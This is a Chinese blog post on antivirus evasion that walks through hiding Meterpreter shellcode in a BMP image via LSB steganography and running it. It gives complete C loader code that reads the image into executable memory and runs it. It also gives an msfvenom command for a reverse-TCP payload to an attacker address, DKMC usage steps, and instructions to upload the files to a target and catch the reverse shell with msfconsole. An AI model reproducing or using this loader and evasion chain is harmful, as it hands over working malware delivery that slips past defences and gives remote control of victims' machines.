美文网首页免杀
【免杀】加载LSB隐写shellcode

【免杀】加载LSB隐写shellcode

作者: Sp0n | 来源:发表于2020-11-29 23:28 被阅读0次

参考资料:

一、shellcode加载器(获取图片里面的shellcode)

  • 使用编辑器进行编译生成shell.exe文件
#define _CRT_SECURE_NO_WARNINGS
// 编制WINDOWS窗口程序
#include <Windows.h>
// 标准库
#include <stdlib.h>
// 标准输入输出
#include <stdio.h>

int main() {
    FILE* fp;  // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义
    size_t size;  // 定义文件字节数变量size
    unsigned char* buffer;  // 定义缓存指针变量

    fp = fopen("DKMC.bmp", "rb");
    // fseek()负号前移,正号后移
    fseek(fp, 0, SEEK_END);          // 文件指针指向文件末尾
    // ftell()返回给定流 stream 的当前文件位置
    size = ftell(fp);                // size值为文件大小
    fseek(fp, 0, SEEK_SET);          // 文件指针指向文件开头
    buffer = (unsigned char*)malloc(size);    // 动态申请图片大小的内存空间(数组指针)

    fread(buffer, size, 1, fp);  // 从fp读取和显示1个size大小的数据
    // 申请虚拟内存
    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buffer, size);  // 从buffer复制size个字节到exec中
    // ((void(*)())x)将变量x转换为指向返回值为void的函数的指针类型
    // 所以这里exec变成了返回值为void的函数的函数名
    ((void(*) ())exec)();        // 执行图片中的shellcode

    return 0;
}

二、生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=4444 -f c -o ./shellcode.txt
  • 处理shellcode:清除双引号,将shellcode变成一行


    shellcode处理后

三、LSB图片隐写

  • 使用DKMC将shellcode隐写到bmp文件中

下载

$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output 

使用

$ python dkmc.py
$ gen
$ set shellcode <刚刚生成的shellcode>
$ run
生成成功

四、执行获取目标反弹shell

  1. 开启监听
$ msfconsole -r win.rc
  1. 将编译好的shell.exe文件和生成的bmp文件上传到目标机器同一位置


    放在同一位置
  1. 执行shell.exe文件
  2. 成功获得反弹shell
success

相关文章

网友评论

    本文标题:【免杀】加载LSB隐写shellcode

    本文链接:https://www.haomeiwen.com/subject/hvwkwktx.html